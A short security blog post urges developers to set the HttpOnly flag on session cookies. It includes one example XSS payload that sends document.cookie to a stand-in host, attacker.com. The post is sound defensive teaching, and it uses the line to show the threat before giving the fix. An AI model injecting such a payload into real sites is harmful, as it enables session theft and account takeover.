/ blog/httponly-session-cookies
blog / httponly-session-cookies / overview.md

Why You Must Set the HttpOnly Flag on Session Cookies

A single Cross-Site Scripting (XSS) vulnerability can compromise every user session if your cookies aren't secured.

If your frontend code (JavaScript) can read your session cookie via document.cookie, so can an attacker.

If you have an XSS vulnerability (e.g., you rendered user input without escaping it), the attacker can inject a script:

fetch('https://attacker.com/steal?cookie=' + btoa(document.cookie));

Your user's session is now compromised.

The Fix: Always set the HttpOnly flag on session cookies. This tells the browser: "Do not let JavaScript access this cookie under any circumstances." The browser will still automatically attach it to outgoing HTTP requests, so your auth still works, but it is invisible to XSS payloads.

Tags

security
0
0